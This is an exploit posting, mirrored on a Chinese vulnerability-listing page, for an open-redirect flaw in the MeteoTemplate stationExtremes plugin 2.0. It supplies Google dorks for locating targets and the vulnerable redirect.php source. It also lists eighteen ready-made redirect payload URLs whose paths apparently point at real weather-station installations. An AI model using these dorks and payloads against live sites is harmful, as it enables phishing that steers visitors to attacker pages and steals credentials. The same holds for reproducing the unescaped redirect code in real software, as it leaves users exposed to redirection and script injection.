MeteoTemplate 17.1 Nectarine stationExtremes Plugins 2.0 Open Redirection - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1504988 漏洞类型
发布时间 2019-02-26 更新时间 2019-02-26
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019020263
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
################################################################################

# Exploit Title : MeteoTemplate 17.1 Nectarine stationExtremes Plugins 2.0 Open Redirection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 26/02/2019
# Vendor Homepage : meteotemplate.com
# Software Download Link : meteotemplate.com/web/downloadRequest.php?file=stationExtremes_2.0
# Software Information Link : meteotemplate.com/web/plugins.php
# Software Affected Versions : 2.0 - 17.1 and v10.37S build 85 
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:"/meteo/plugins/stationExtremes/"
intext:Powered by Weather Display v10.37S build 85
intext:''Meteotemplate 17.1 Nectarine''
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

################################################################################

# Description about Software :
***************************
A plugin that shows station extremes filtered by parameter, grouping and time interval. 

You can also view daily and monthly overviews.

################################################################################

# Impact :
***********
This web application MeteoTemplate 17.1 Nectarine stationExtremes Plugins 2.0 accepts a user-controlled

input that specifies a link to an external site, and uses that link in a Redirect. 

This simplifies phishing attacks. An http parameter may contain a URL value and could cause 

the web application to redirect the request to the specified URL. By modifying the URL value 

to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. 

Because the server name in the modified link is identical to the original site, phishing attempts 

have a more trustworthy appearance.

Open redirect is a failure in that process that makes it possible for attackers to steer users to malicious websites.

This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. 

Web users often encounter redirection when they visit the Web site of a company whose name 

has been changed or which has been acquired by another company. Visiting unreal web page

user's computer becomes affected by malware the task of which is to deceive the valid actor and steal his personal data.

################################################################################

# Vulnerable Parameter => url=
****************************

# Vulnerable Source Code : [ redirect.php ]
***************************************
<?php

	
	include("../../config.php");
	include($baseURL."css/design.php");
	include($baseURL."header.php");
	$address = urldecode($_GET["url"]);
?>
<html>
	<head>
		<?php metaHeader()?>
		<style>
		#loading{
			background-color: transparent;
			height: 100%;
			width: 100%;
			position: fixed;
			z-index: 1;
			margin-top: 0px;
			top: 0px;
		}
		#loading-center{
			width: 100%;
			height: 100%;
			position: relative;
			}
		#loading-center-absolute {
			position: absolute;
			left: 50%;
			top: 50%;
			height: 200px;
			width: 200px;
			margin-top: -100px;
			margin-left: -100px;	

		}
		.object{
			-moz-border-radius: 50% 50% 50% 50%;
			-webkit-border-radius: 50% 50% 50% 50%;
			border-radius: 50% 50% 50% 50%;
			position: absolute;
			border-left: 5px solid #FFF;
			border-right: 5px solid #FFF;
			border-top: 5px solid transparent;
			border-bottom: 5px solid transparent;
			-webkit-animation: animate 2s infinite;
			animation: animate 2s infinite;	
			}

		#object_one{
			left: 75px;
			top: 75px;
			width: 50px;
			height: 50px;
			}
									
		#object_two{
			left: 65px;
			top: 65px;
			width: 70px;
			height: 70px;
			-webkit-animation-delay: 0.1s;
			animation-delay: 0.1s;
			}
				
		#object_three{
			left: 55px;
			top: 55px;
			width: 90px;
			height: 90px;
			-webkit-animation-delay: 0.2s;
			animation-delay: 0.2s;
			}
		#object_four{
			left: 45px;
			top: 45px;
			width: 110px;
			height: 110px;
			-webkit-animation-delay: 0.3s;
			animation-delay: 0.3s;
			
			}	

		@-webkit-keyframes animate {
		 

		50% {
			-ms-transform: rotate(180deg); 
			-webkit-transform: rotate(180deg); 
			transform: rotate(180deg); 
		  }
			  
		100% {
			-ms-transform: rotate(0deg); 
			-webkit-transform: rotate(0deg); 
			transform: rotate(0deg); 
		  }	  

		}

		@keyframes animate {

		50% {
			-ms-transform: rotate(180deg); 
			-webkit-transform: rotate(180deg); 
			transform: rotate(180deg); 
		  }
			  
		100% {
			-ms-transform: rotate(0deg); 
			-webkit-transform: rotate(0deg); 
			transform: rotate(0deg); 
		  }	  
		}
		</style>
	</head>
	<body onload="redirectpage()">
		<div id="loading">
			<div id="loading-center">
				<div id="loading-center-absolute">
					<div class="object" id="object_four">
					</div>
					<div class="object" id="object_three">
					</div>
					<div class="object" id="object_two">
					</div>
					<div class="object" id="object_one">
					</div>
				</div>
			</div>
		</div>
	</body>
	<script>
		function redirectpage(){
			window.location.href = "<?php echo $address ?>";
		}
	</script>
</html>

################################################################################

# Open Redirection Exploit :
**************************
/meteo/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/meteotemplate/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/template/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/Meteo/template/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/meteotemplate_new/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/meteotemplate-morro-das-antenas/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/thompsonfarms/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/wstnijbroek/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/busteggia/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/eltiempo/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/knjazevac/MeteoTemplate/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/sitiodalaje/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/weather/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/pws/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/wxnet/flg1/template/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/MT41/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

/subdom/meteo/plugins/stationExtremes/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov

################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

################################################################################